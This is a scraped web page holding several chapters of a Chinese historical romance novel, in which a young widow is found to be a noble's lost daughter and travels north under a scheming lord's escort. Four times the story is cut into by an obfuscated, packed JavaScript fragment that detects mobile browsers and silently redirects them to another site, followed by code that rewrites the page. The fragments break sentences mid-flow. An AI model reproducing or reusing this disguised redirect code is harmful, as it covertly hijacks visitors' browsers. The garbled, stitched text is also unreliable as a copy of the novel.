RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645731|172513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦吧?” “老天爷,咱们跟圣都贵人之后做了十几年邻居?” “这下子谁还敢再说于家小……赵娘子丧门星,这分明是命格太贵,于家压不住啊!” …… 见赵瑞灵呆滞在画像面前,周围人议论纷纷,赵城柯与陈清源对视一眼,眸底都闪过一丝满意。 要说这朝廷寻人之事,当年阵仗实在不小。 哪怕陈清源当时还只是个小秀才,也曾听闻过。 各州府得知谢如霜的身份,都清楚这是个滔天的功劳,一旦能寻到人,荣华富贵就是指日可待,很是热闹了几载。 甚至有好多州府寻到跟画像中人相像,一口咬定自己是谢家女的女娘送入圣都,可惜全是西贝货,不但没能得到功劳,还被圣都斥责了一番。 久而久之,谢如霜也没个消息,这事儿也就不了了之,被当作旧事,封存在各州府的敕案库里。 先前湖州府的捕快去跟甄顺吃酒,实则是接了赵城柯的吩咐,探听对方具体为何要救赵瑞灵,赵瑞灵跟袁翁又有什么关系。 那捕快回来后,只说从甄顺口中得知,醇国公觉得赵瑞灵像他一位旧人,又得袁翁看重,想结个善缘罢了。 赵城柯作为幕僚,自不会跟捕快一样,把甄顺的话简单听听就算了。 他记得醇国公吩咐王七跟知州大人传的话,当即取了前任知州的手札仔细翻阅,从中看到了寻人旧事。 本来他还觉得是自己想太多,满大昭沸沸扬扬寻了那么久的人,哪儿有可能那么巧,在湖州府安顿了近二十年还没被发现呢。 左右也是闲着,他怀着彻底确认自己只是妄想的念头,去寻那幅画像,却没想到,这泼天的富贵竟成了真。 之所以闹出这么大阵仗,赵城柯和陈清源自然商议过。 袁翁为何如此护着赵瑞灵谁也不知道。 可以袁大家的城府,不可能无缘无故护一个八竿子打不着的小娘子。 无论袁翁是想让赵瑞灵隐居在湖州府,还是想等合适时机再将赵瑞灵接入圣都,这小娘子都似个裹了金子的烫手山芋,陈清源实不敢留。 万一赵瑞灵在他治下被人害了呢? 万一赵瑞灵生了什么大病呢? 天灾人祸的谁说得准。 无论是谁送赵瑞灵归京,发现赵瑞灵的陈清源绝对会被圣都嘉奖。 甚至为了不得罪袁翁,陈清源可以不要这个功劳,却必得避开祸端。 二人迅速商议好,片刻不敢耽误来了秀才巷,借面善巧合发现之名,将赵瑞灵的身份揭穿。 不论袁翁有什么打算,陈清源都可以配合,却不敢再叫赵瑞灵在湖州府待下去了。 所以这会儿赵城柯一揖到底,恭敬非常,对着赵瑞灵请示。 “您身份尊贵,我家大人实不敢大意,特派奴仆和衙役来伺候保护,也愿护送您北归,一切都听贵人吩咐。” 赵瑞灵:“……”不是,虽说大难之后必有后福,可谁家后福是山鸡白日见鬼就变成凤凰啊! 她不自觉去看阿桥和于旻。 但阿桥和于旻也被这突如其来的后福镇住,仨人麻爪得活似三只鹌鹑,一时间都不知该说什么是好。 别说她们仨,满秀才巷都如此……哦不,与于家相邻,平日里照顾赵瑞灵良多的陈家陈媪,依然保持着镇定。 她得袁翁吩咐十几年,早知赵瑞灵身份不一般。 先前从外头接了待洗的衣裳回来,瞧见陈知州带着乌泱泱的人往这边走,陈媪立时飞奔回家,叫女儿往袁宅去送信。 算着时候,这会儿袁家也该来人了……陈媪算着时辰,不动声色往巷子口探看。 这一眼看过去,就瞧见了踏马而来的穆长舟主仆。 13.第 13 章 阿桥眼尖,也瞧见了穆长舟和甄顺,赶紧拉了拉魂游天外的赵瑞灵。 赵瑞灵一抬头,就看到了在马上望着她的穆长舟。 怎么又碰上这狗东西了?! 忆起自己先前被坑,赵瑞灵原本因这匪夷所思变故所来的惊慌全被压了下去,瞬间冷静下来。 无论如何,也不能在他面前丢脸! 穆长舟为送袁修永归京,去巡察司那边调人,路过秀才巷听到热闹,心中有所猜测,才带着甄顺过来。 见赵瑞灵脸色苍白,还残留着几分震惊和迷茫,再看陈清源一脸恭敬又强压激动地立在一旁,穆长舟心下微哂。 这新任知州速度倒是够快。 “怎么回事?”穆长舟见陈清源要行礼,直接打断他的话,佯作不知问道。 陈清源收到了穆长舟的眼神警告,没喊出他的身份,顿了下,把刚才对赵瑞灵说的话又说了一遍。 穆长舟眼角余光扫了眼斜后方袁大丰的身影。 “某当年见过才绝娘子,就眼前这位……”他目光漫不经心扫过支棱起来瞪他的赵瑞灵。 “连个讼状都不会写,只会哭哭啼啼求人,又好吃懒做,性子怯懦的小娘子,除容貌有几分相似外,某却没瞧出哪怕一处配得谢氏血脉。” 赵瑞灵还没被人如此贬低过,听得火蹭一下子就上来了。 连阿桥和于旻都忍不住怒瞪穆长舟,众目睽睽之下说什么大实话呢,阿嫂/娘子不要面子的吗? 但赵瑞灵气恼之下,却比先前更加冷静了些。 她清楚阿娘还有袁翁不会害她。 不管她是不是什么国公府的血脉,既阿娘和袁翁都希望她好好在湖州府生活,那圣都的浑水大概不是她能应对得来的。 她憋着气,僵着脸对陈清源盈盈下拜,认下这一无是处。 “穆郎君所言有理,我阿娘虽与画像相似,可世间相似之人太多,想必当年寻那位娘子的时候,也有不少长得相似的人被找到吧?” “民妇家中从未出现过任何信物,阿娘也不姓谢,您肯定认错人了。” 阿桥却心下微动,其实娘子也没那么一无是处,起码说瞎话从来都不打草稿。 娘子有块锁在匣子里的长命锁,是金镶玉的颈环样式,她曾见过一次,那样好的玉可不像是普通猎户家能有的。 陈清源颇为不解地看向穆长舟,不是醇国公提醒他看上任知州手札的吗? 他犹豫着试探道:“下官派人查过,赵娘子之母确为二十年前出现在湖州府。” “当年赵娘子之母在山上遇险,医女给她上药时,也发现她足底确有印记……” 实际上医女当年给从山上被救下来的谢如霜换药时,只看到谢如霜扭伤的脚踝,还没来得及细看足底,谢如霜就拿被子盖住了。 赵瑞灵就在现场。 她当时还不明白,精神恍惚的阿娘为何突然盖住自己的伤腿,也没叫医女继续上药,反倒让赵瑞灵给抹的药…… “应是医女把伤痕记错为什么印记了吧?”她指甲陷入掌心,努力保持镇定。 “我阿娘是守林人之后,祖父祖母为山大虫所害,我阿耶杀了那畜生,阿娘为感恩才嫁他。” “陈知州若不信,可去我家旧宅所在的清风山看看,祖父祖母和我耶娘的墓地都在一起。” 陈清源挑眉,即便赵瑞灵再镇定,她面上的慌乱却无法全然掩盖。 他抬头望向坐在马上沉默的穆长舟,心下了然,虽不知缘由,可醇国公又不想让他揭露赵瑞灵的身份了。 思忖片刻,陈清源问:“若赵娘子不是谢氏之后,醇……穆郎君又为何过来?” 穆长舟含笑道:“袁翁要与我一起北上,收拾行囊时发现袁宅还有于泓所留下的一些旧物,意欲让赵娘子登门去取,好留与于家小郎用,也算不辜负彼此师生之谊。” 秀才巷的住户们都恍然大悟。 不会是知州大人以为袁翁看重赵灵娘,又加上赵灵娘的母亲长得像圣都一位贵人,弄错了吧? 他们就说,赵灵娘除了长得好看些,怎么也不像传说中的贵女。 众人低声议论纷纷之时,袁大丰藏在暗处,皱眉看着穆长舟。 他本以为醇国公打算背弃对郎君的承诺,听穆长舟的话却发现醇国公在替赵娘子掩饰身份,眉头不由得皱得更紧。 他怎么就不信圣都百官深深忌惮的醇国公会做这种好事呢? 只不待他继续看,穆长舟看了眼甄顺,两人是骑马出来的,没驾马车,周围瞧热闹的越来越多,也没时间重新回去取马车。 “都散了吧!”他干脆打马上前,探身将赵瑞灵捞到马上,用腿夹了下马肚子,策马离开。 赵瑞灵只感觉眼前一闪,人就已经换了地方,被吓得不轻。 “你,你干什么!” 他怎么敢就这么抱……提她上马,男女授受不亲的礼法被这狗东西给吃了吗? “带你离开这是非之地去见袁翁,别乱动!”穆长舟淡定策马疾行,“掉下去被马踩死我可不管你。” 赵瑞灵头一回骑马,屁股都快被墩成了八瓣儿,又气又怕,呜呜咽咽地把骂声含混在了嗓子里。 穆长舟以前常在军中,没在意赵瑞灵的呜呜嗷嗷,只略低下头,徐徐善诱把该提前说的话说完。 “刚才说话略有得罪,还请赵娘子见谅,只是这谢氏女却也没那么好当,既然袁翁不愿你暴露身份,你还是做赵灵娘会更自在些。” “圣都势力盘根错节,太后和圣人也有争斗,我若是袁翁,就不会让你去敲登闻鼓。” 赵瑞灵努力抓住马鬃毛,愤然反驳:“你不是能命令知州办事?也许就是你在背后捣鬼!否则你今日为何会出现在秀才巷?” 穆长舟轻笑,凑到赵瑞灵耳边,“袁翁怕也会以为知州为我所用,未免娘子误会,却是要先跟娘子说清楚。” “如若是我,不管你逃到天涯海角去,我只需让人探查大昭上下的书院,抓了于二郎,今日给你割只耳朵,明日给你送根手指,还怕你不肯为我所用吗?” 赵瑞灵猛地愣住,瞪大眼扭头去看,正好对上穆长舟垂下来的深幽目光,忍不住打了个寒战,所有的骂都堵回了嗓子眼。 这人不是阿猫阿狗,他是魔鬼啊!! 另一头,袁大丰见穆长舟把人带走,不得不赶紧叮嘱陈媪几声替于家看着房子,带着阿桥和于旻回袁宅。 “呸!定是这小子所为!”袁修永气得在屋里直转着圈儿骂。 “他会那么好心为灵娘解困?怕不是黄鼠狼给鸡拜年,安得全是黑心!” 袁大丰看了眼外头,醇国公可还在外头呢。 袁修永却不怕穆长舟听到,骂得更凶:“若不是这浑小子横插一杠,此事又怎会闹得沸沸扬扬?” “他老子就不是什么好鸟,他肚儿里能憋什么好屁,说不定就是他在背后操控陈清源!” 阿桥瑟缩在一旁,捂住了于旻的耳朵,担忧看向歪在一旁软垫上的娘子。 瞧这姿势,刚才在马上应该被颠得不轻,那穆郎君简直就是个煞神,碰上他从来都没好事。 赵瑞灵倒顾不上屁股疼不疼,只恹恹地坐在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651564|172513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁出神。 她最清楚阿娘到底是什么情况。 虽阿娘和阿耶每年确实会给一对老夫妇上坟,可阿娘从未叫过耶娘,平日在家也从来不议论自己的耶娘。 而且阿娘好像忘记了很多事情,很多事情都不会做,却又比阿耶更聪慧许多,琴棋书画样样精通,完全不像个普通妇人。 更不用提……她清楚,阿娘足底有七颗痣,她几乎可以肯定阿娘就是那位才绝娘子。 可为何阿娘从不曾跟她说过? 袁翁到底是因为阿兄帮她,还是因为认识阿娘才会帮她? “灵娘你不必胡思乱想!”袁修永打断了赵瑞灵满脑袋沸腾的浆糊,“回头我让袁大丰送你去其他郡将你安置下来。” 赵瑞灵下意识抬头:“袁翁,我真的是英国公府之后吗?” “是又如何,不是又如何?”袁修永翻个白眼。 “圣都那种吃人不吐骨头的地方,就你这性子,能应付得来吗?” 赵瑞灵怔忪,这话跟那位穆郎君的话如出一辙……她知道答案了。 “您要将我和二郎送到哪儿去?”她眼巴巴看向袁修永,“阿兄和公婆还有我耶娘的坟都还在?这儿,以后我们总得回来祭拜。” 袁修永用力关上窗户,压低了嗓音。 “即便不能确认你的身份,穆家小子直接将你带走,陈清源绝不会等闲视之,必会写奏疏上奏圣都。” 袁修永越想,在心里骂穆长舟越狠,虽然没有证据,可他对那些满肚子坏水儿的味儿实在是太熟悉。 “若外头那厮没动坑人的心思,陈清源也不至于发现你的身份,这会儿倒是猫哭耗子假慈悲上了,我呸!” “我会将二郎送到常州下头的县学,派人照顾好他,你去定安郡,祭拜之事我会叮嘱陈媪替你操持。” 赵瑞灵愣了下,连陈媪都是袁翁……或者阿娘安排的吗? 但她没来得及深思,就被袁翁话里的意思惊住。 她猛地从委顿中坐直身体,面色仓皇。 “您的意思是让我跟二郎分开?” 阿旻是她从襁褓中照顾大的……虽然喂食洗尿布哄孩子这些事都是阿兄和阿桥在做,可欺负孩子……咳咳,教导孩子这事儿可是她亲自做的。 她早把阿旻当成了自己的孩子看待,猛地听闻要跟于旻分开,比得知自己是国公之后还难接受。 袁修永看着掉眼泪的赵瑞灵,无奈轻声安抚她。 “陈清源若上奏,定会把你和赵家、于家的情形一五一十写在奏疏里加快送进圣都,我若拦,他更笃定你的身份,更不敢让你留在湖州府。” “你若独身一人,还不引人注意,带着孩子很容易被人找到,等圣都那边消停了,我再让人送于二郎回你身边。” 赵瑞灵耳边又回响起穆长舟在马上说过的话,突然就明白了袁翁的苦心。 假若她和二郎一起,被人发现端倪,即便她不想北上,为了那泼天的功劳,心怀叵测之辈也许不敢对她做什么,却绝不会对阿旻心慈手软,说不准就会用于旻来拿捏她。 即便她和阿旻分开,有心之人若真想找,也不是找不到。 她总不能让二郎一辈子做个废人,到时候依然会有人拿阿旻来开刀逼她…… 赵瑞灵默默擦掉不知道什么时候落下的泪,定定看了于旻一眼,抬起头望向袁修永,轻声开口。 “袁翁,我想进京。” 屋内几人都被赵瑞灵的话惊住,唯有站在廊庑下的穆长舟,耳朵微动,唇角勾起一抹浅笑。 这小娘子其实挺聪明的。 14.第 14 章 因赵瑞灵坚持进京,却不肯解释,被气得胡子乱飞的袁修永撵了出来。 阿桥实在不理解,好不容易解决于老七带来的麻烦,就算要搬家去定安郡,有袁翁庇护,定会高枕无忧,娘子怎么会选择去圣都呢? 听袁翁的意思,圣都之险恶比话本子还刀光剑影,多吓人啊。 娘子虽好吃懒做,爱美娇气,偶尔还有些蔫儿坏爱折腾人……咳咳,这些都不重要,重要的是,娘子并非贪慕权势荣华的性子,不会贪图什么国公府的富贵。 阿桥张嘴就想问,岂料出来门就瞧见还站在廊庑下的穆长舟和甄顺主仆。 她赶紧闭上嘴,跟个老母鸡一样护在自家娘子面前。 不能再让娘子跟个小鸡子一样被提走,就娘子那嫩的豆腐似的腚,再颠簸怕是好几天都走不了路。 穆长舟没靠近,含笑扫过赵瑞灵哭得通红的小脸儿。 “赵娘子你要去……” “我要去哪儿都跟你没关系!”赵瑞灵冷着小脸儿,沙哑着嗓音打断穆长舟的话。 穆长舟笑意微顿:“……某是想提醒娘子——” “用不着你假好心!袁翁说得对,若不是你,我也不必背井离乡!”赵瑞灵恶狠狠瞪穆长舟一眼,她不会再给穆长舟第三次坑她的机会。 不要以为她不知道,这人先前佯作助她离开是非之地,是为了吓唬她,让她不得不跟着去圣都。 虽不知道穆长舟的目的,可赵瑞灵笃定,这人指不定要怎么卖了她还让她数钱呢。 她拉着阿桥和于旻,绕过穆长舟和甄顺往外走。 “我不想听你说话!你休想——” “陈清源的折子我拦下了。”穆长舟轻啧了声,面无表情打断赵瑞灵带着气恼的发作。 有些小娘子就不能惯着! 他言简意赅:“三日后我奉袁翁出发,过时不候,你想让陈清源送你北归,我不拦着。” 阿桥感觉娘子抓住自己的手抖了一下,本以为娘子会硬气怼回去,却不想娘子没吭声,只脚步重得像是要踩死谁似的。 穆长舟转身,看着离开的赵瑞灵,随手打飞了屋内偷听的那位砸出来的旧靴子,也跟着往外走。 出发的日期那小老儿也听到了,赵瑞灵要进京的缘由,以袁修永的丘壑很快就能猜出来,他没必要重复一遍。 未免阴沟里翻船,还是将那浑身写着‘不要理我我很生气’的小娘子送回家是正经。 他打飞的靴子,差点落到甄顺脑袋上。 甄顺哦豁一声避开,怕袁修永跑出来追着打,紧跟在穆长舟身后小跑。 见郎君心情颇好地远远跟着赵瑞灵和阿桥她们,甄顺憋了好久的疑问终于忍不住了。 “郎君,您若想让赵娘子回圣都,直接让陈清源来办这事儿不更好吗?” 陈清源的性子,甄顺在府衙那几日就摸得差不多了。 这人寒门出身,还算良心未泯,对百姓并未盘剥,上进心却也不小。 寒门往上爬比世家子艰难得多,有这种博功劳的机会,哪怕袁修永对他座师有恩,陈清源也不会放过这机会,最多就是圆滑些,把事儿做得叫人无法说嘴。 穆长舟不送赵瑞灵归京,陈清源也不敢落下醇国公发现赵瑞灵的功劳。 等赵瑞灵进了门,甄顺调转马头继续念叨。 “先前在秀才巷,郎君若不出面,既不会得罪袁翁,更不用惹得人家小娘子避你如蛇蝎。” “就算你以退为进,替赵娘子遮掩身份,袁翁也不会相信。”他最不理解的就是这个。 “以郎君的性子,何时会做这些吃力不讨好的事儿了?” “他当然不会做吃力不讨好的事儿!”赵瑞灵面对阿桥的疑问,冷着张俏脸气呼呼坐在石凳上,下一刻却嗷一嗓子又捂着腚跳了起来。 “他就是为了让我清楚,若我不肯承认自己的身份,有朝一日被发现,我不但护不住二郎,还会连累袁翁!” 阿桥和于旻看着她龇牙咧嘴,想揉屁股,却又不敢下力气,疼得……咳咳,气得在原地转圈,想笑又不敢笑。 “阿嫂,我可以保护好自己哒!”于旻拍着自己的小胸脯保证,接着又满眼迷茫。 “可为何会连累袁翁?” “圣都一直在找我阿娘,如果袁翁帮我逃走,就表示他知道我的身份,也早知道阿娘在哪儿……”赵瑞灵耷拉着小脸儿趴在窗边的竹榻上。 “这是欺君之罪!” “那狗……穆郎君出现在秀才巷,表明不知我身世,只因我的长相忆起旧人,才能有转圜的余地。” 赵瑞灵并不傻。 穆长舟说袁翁不该让她敲登闻鼓,不是指责袁翁大意,而是提醒她此事对袁翁的影响。 “我若走了,就坐实了袁翁的罪名,往后二郎也会有被人挟持的风险。” “所以不如我坦坦荡荡跟着进京,让圣都的人来确认我的身份,以证实袁翁他们只是出于对谢氏女的尊敬,才会对面容相似的人另眼相待……” 越说赵瑞灵越郁闷,将脑袋扎进软枕里,烦躁地蹭来蹭去。 她本想去请陈知州在奏疏里写明她虽不确定自己的身份,却愿意北上,既可以护住于旻,也能替袁翁摆脱欺君的罪名。 没想到穆长舟先一步拦下了陈知州的折子,却是又让她和袁翁都欠下一个人情。 偏她又知道这不是个好人,实在憋屈得紧,只能恨得捶榻。 “等出发后,无论发生任何事,你们都不许跟那对主仆说话,免得又叫人坑了!” 于旻习惯了听话,小鸡啄米一样点着肉墩墩的小脸儿。 阿桥却还是不解,“您既如此警惕穆郎君,为何不让陈知州派人送咱们北上呢?” 赵瑞灵抬起小脸儿冷笑,“然后让他早一步回到自己的地盘,给我挖好坑,等他把我埋坑里,还替他数钱吗?” 她轻呵一声,原本的沮丧消散一空,转瞬间变成昂扬斗志。 “我偏不!他不是说我一无是处?呵……扮猪吃老虎谁不会啊!等往后有机会……哼!” 她能想明白这人先前的谋算,就能戳穿他以后的心眼子! 等哄好袁翁,她非要找机会把人坑回来不可! 阿桥看着歪在竹榻上奋力支棱的娘子,香腮滴粉,发髻散乱,活似刚被人欺负完的傻兔子,微笑着沉默了。 娘子高兴就好。 三日转瞬便至。 甄顺一大早就赶着他们那辆格外宽敞的马车过来等。 阿桥和陈媪家大娘抬着箱子出来,就见甄顺手里拿着块肉饼吃得头都不抬。 她瞬间警惕:“我们娘子坐你们的马车?跟穆郎君一起吗?” 甄顺三下五除二咽下口中的肉饼,“你想得倒是美,我家郎君骑马,这辆马车给你们用。” “若你们有会赶车的,我也可以骑马。” 若不是先前郎君伤还没好,甄顺才懒得驾车。 阿桥翻个白眼,当谁稀罕跟他们坐在一块儿呢。 可她也不会赶车,只好将甄顺当空气继续搬行囊。 陈媪一家子没露在明面上,得了袁大丰的吩咐,还留在湖州府。 赵瑞灵便将于家的房子托付给了她们看管。 等收拾完,赵瑞灵带着于旻郑重谢过陈媪这些年的照顾,依依不舍地看了眼这座住了十几年的小院,怀着几分忐忑上了马车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658150|172513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 到了北城门外,她们还没见到袁修永他们的马车,就先碰到了裕民县来的于氏族人。 于氏族长带着几个族老满脸谄媚迎上来,说是特地前来送仪程。 于族长满脸忐忑:“先前小老儿被家里昏了头的婆娘骗了,以为灵娘和于老七情投意合,还愿供养阿旻读书,想着如此也好叫阿泓在九泉之下安心,却不料……” 他顿了下,赶忙又道:“族里万不会留这种心思不正的人,已将于老七一家子逐出族谱,先前他们买房子借于家的银钱我也要回来了。” “都说穷家富路,我跟族里凑了个整,灵娘你们带在身上,路上也宽裕些。” 事实上,陈清源派去调查的人一走,当年经历过朝廷寻人阵仗的老人,就记起来这事儿了。 不管赵瑞灵是不是谢氏女之后,到底长得像极了那位才绝娘子,才引得人前来问询,谁知这小娘子去了圣都会有什么造化? 要是早知道,给于族长一百个胆子,他也不敢由着亲眷欺负这孤儿寡嫂,如今只能尽量找补,免得为于氏招来灾祸。 赵瑞灵想起先前在他家被指桑骂槐的事儿,小脸立马就鼓起来了。 照她以往的性子,肯定是银钱拿回来,人懒得搭理。 可如今,她却已不是过去那个任性的小娘子了。 她拉住要怼人的阿桥,含笑望向于族长。 “族长您严重了,阿婶觉得我这个年纪的小娘子守不住寡也是人之常情,你们都是阿兄的亲人,我不会放在心上。” 见于族长松了口气,她话音一转。 “只是万望阿婶往后在外人面前稍微收敛些,可别牵扯上不该牵扯的贵人,给族里惹祸。” 于族长面色一僵,想起来之前他娘子还在家里嘀咕,说赵瑞灵就是个狐媚子,又说她一个丧门星不可能有贵命,浑身都不自在起来。 要知道,赵瑞灵能去圣都,都是因她长得像才绝娘子,那可是国公的女儿! 万一赵瑞灵真是谢氏女……他神色更严肃了些,躬身将装着银子的包袱举起来。 “灵娘说的是,小老儿记下了,往后必会管好拙荆,再不敢让她胡说八道!” 这阵子的事情让赵瑞灵明白一个道理,无论任何时候,事情都不能做绝,总得留条后路。 她思忖片刻,道:“阿兄生前想叫族中出更多有才学的子弟,也能守望相助。” “这银子就当二郎和我献给族里的,族长去请位德才兼备的先生,也好叫于氏清正家风得以延续,方不负阿兄所愿。” 于氏的族老们听得连连点头,连于族长面上的愧色都更真切了些,忙不迭地应下来。 穆长舟骑着马,护着袁修永的马车出来城门,就听这些人没口子地夸赵瑞灵和于旻,直道要将此事记入族谱。 阿桥和于旻都听得高兴,赵瑞灵虽面色淡定,下巴却不低,这会子倒不像鹌鹑了,穆长舟眸底闪过一丝笑意。 待得马车走动起来,津津有味瞧了场热闹的甄顺有些感叹。 “赵娘子如今倒有几分我们郎君的风采了哩!” 马车里正笑着的阿桥和于旻笑意瞬间僵住,别说,还真有点…… 赵瑞灵忍了又忍……先掀开帘子左右看了看,见穆长舟骑着马,护送袁翁的马车走在了前头,应该听不见。 至于甄顺……甄顺不算人,他传话回去她不认就完了! 她安心地放下帘子,重重地呸了一声,掷地有声地吐槽—— “谁像那黑心的东西?若非为了袁翁,我耻于与之为伍!” 甄顺:“……”他要现在说郎君耳力非常人所及,心眼儿还不大,这小娘子会不会吓哭? 15.第 15 章 夏日多雨,众人辰时出发还是一片艳阳天,还不到午时,就飘来了一阵淅沥沥的小雨,缠绵在官道上迟迟不去,很快就叫官道变得泥泞起来。 离赵瑞灵掷地有声地呵斥过去不过短短几个时辰,她想跟穆长舟主仆泾渭分明的雄心壮志就被颠簸打破了。 “呕~”及至进了山林中,路更难走,赵瑞灵趴在马车上恶心得头晕目眩,看被雨浸润得葱郁青翠的树林都有些阴森可怖。 于旻一个小孩子反倒适应良好,上马车没多久就睡过去了,因为出发前夜太激动没睡踏实,路上一直都没醒。 赵瑞灵可怜巴巴看着阿桥,不是她没毅力,实在太难受了呜呜~ 阿桥也没受过这种颠簸,忍着恶心掀开帘子跟甄顺商量,让他走得慢一些。 甄顺看着前面头也不回,依然保持行进速度的郎君,表情有些微妙的尴尬。 “这个……为避开酷暑早些进京,咱们走的山路,只有郎君心里估算得准时辰,得在天黑之前到达驿站,才能保证大家的安全。” 话就是说,你跟我说没用,还是得去求那个耻于与之为伍的才行。 赵瑞灵听到甄顺的话,稍稍支棱起一点来,立刻拽着阿桥的衣摆往回拉。 “不许去求他,袁翁…呕~都能赶路,我…呕~也能!” 甄顺憋着笑插嘴:“袁大家当年好歹是跟先圣打过天下的,急行军都受得住,小娘子你嘛……” “我也可以,你休要小瞧女子~呕~”赵瑞灵梗着脖子,用软绵绵的嗓音边干呕边反驳。 穆长舟听着后头已经不自觉染上哽咽的沙哑小嗓音,心道这小娘子命硬不硬的不好说,反正嘴是挺硬的。 他倒无心跟个小娘子计较,也怕袁修永一把年纪受不住,略估算了下时辰,见雨也差不多停了,抬起手,止住护送的队伍。 “休息半个时辰用午膳。” 阿桥眼见娘子咬着小手绢,难受得眼泪汪汪,本有些忍不住,准备拼着娘子的反对过去说几句软话,听到这命令,狠狠松了口气。 因为平日里干活儿多,阿桥身子骨壮实,先跳下马车,呼吸了几下林间的新鲜空气,不适就消失了。 她立马去扶赵瑞灵:“娘子你先下来缓一缓,我去打水做饭,二郎先叫他睡着,等做好饭我叫他。” 赵瑞灵擦干眼泪,艰难爬下马车,却也没坐阿桥给准备好的小马扎。 她稍缓了缓,从马车内取出提前准备好的食盒,提着往袁修永那边去。 路过穆长舟的时候,赵瑞灵目不斜视,全当没看到有他这么个人。 穆长舟单腿踩在斜倒的树干上,懒洋洋坐在一旁,对上甄顺挤眉弄眼的调侃也没当回事。 看来这小娘子也没难受到哪儿去,比西北农户家里养得那些猪崽子还活泼。 他唇角的笑意变得意味深长,就是不知道她到了驿站,还能不能支棱得起来。 袁修永见赵瑞灵过来,冷哼了声,偏身背对着人,不欲理会。 那天赵瑞灵还没走,他就想明白赵瑞灵坚持进京是为何了。 他气就气在这小娘子看低了他,更看低了他袁氏报恩的决心。 若他连个未验明正身的小娘子都护不住,前头几十年他火里来血里去的拼命就成了笑话。 她明知穆长舟那小子不怀好意,也清楚谢如霜的念想,偏还跟那小子沆瀣一气,由着对方算计。 就这样的性子,进了圣都还不被人算计死?那他这些年的报恩就都成了空。 赵瑞灵撅了撅嘴,一大早这小老儿就不搭理她,明显还在生气。 她绕到袁修永侧面,放下小马扎,将食盒里的雪娇娘和一碟子酱牛肉都摆到袁修永面前,低着头小声哼哼。 “灵娘不知阿娘到底跟您说了什么,到现在我人都还糊涂着,只知道您待阿兄和我都恩重如山。” “我清楚前路艰险,也知您和阿娘是疼我才想庇护我免于风雨,可灵娘的心不是石头做的,受人以恩,灵娘亦想尽绵薄之力为阿娘正名,护您周全,否则如何对得起阿娘对我的教导?” 她想哄人的时候,只要放软了姿态,严肃绷紧那把子软糯的小嗓音,从来都无往不利。 如今也是如此。 见袁修永表情和缓些许,她更可怜巴巴扶住他的胳膊轻晃。 “袁翁~阿娘什么都没做错,二郎也是阿兄仅剩的亲人了,您一辈子博来的功劳也不该如此挥霍。” “您让我如何心安理得让所有人都为我牺牲,只为我一人安宁?我可是才绝娘子之后啊~~” 袁修永被晃得心软,佯作不耐烦拂开赵瑞灵的手,从袖笼里掏出一卷绢帛扔进赵瑞灵怀里。 “我懒得跟你这犟骨头废话,你别以为两眼一抹黑进了圣都,就能不坠你阿娘的声名!” “往后旁人怕是以为你乃我袁某人教出来的,赶紧吃了东西回去长点脑子,没事儿别瞎跑,省得叫熊瞎子掳了去!” 赵瑞灵咧开小嘴诶了一声,眉眼弯成一汪半月。 “您放心,我一定好好听您的话,绝不给您丢人!” 哄好袁修永,赵瑞灵跟着吃了几块雪娇娘,压了压先前晕马车的恶心,高高兴兴回了马车上。 当然,路过正在烤肉的穆长舟和甄顺,她依然当两人是空气。 甄顺小心翼翼看了眼自家郎君,过去在西北,乃至在圣都,就郎君那狗脾气,别说人了,兽都不敢如此硬气。 偏郎君在这小娘子面前,耐心好得让甄顺心惊肉跳。 甄顺扭头,望向消失在马车里的那把子细腰,怎么也不信自家郎君真是见色起意。 否则圣都那些云鬓楚腰的女娘们不早得逞了? 郎君肯定……中邪了! 只不知这份邪门的耐心能保持多久。 穆长舟将赵瑞灵哄人的速度看在眼里,浑不在意她的冷淡,只若有所思。 他始终没忘了自己此次南下的缘由,在发现赵瑞灵的存在后,他还真是动了心思。 左右这小娘子确实长得极好,将她娶回家护她周全,当个吉祥物供着,既赏心悦目,也算报答谢如霜半载养育之恩。 太后和圣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664120|172513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人未必就比袁修永更难哄,这小娘子能起的作用,也许比他预料得还要大。 如此他压着性子,装出圣都最盛行的那股子温雅风姿行事,只要能达成目的就值得。 至于赵瑞灵明显不喜他,愿不愿做穆氏主母……呵,狼崽子他都能收服,不过是个山野间出来的小娘子,他有的是力气和手段。 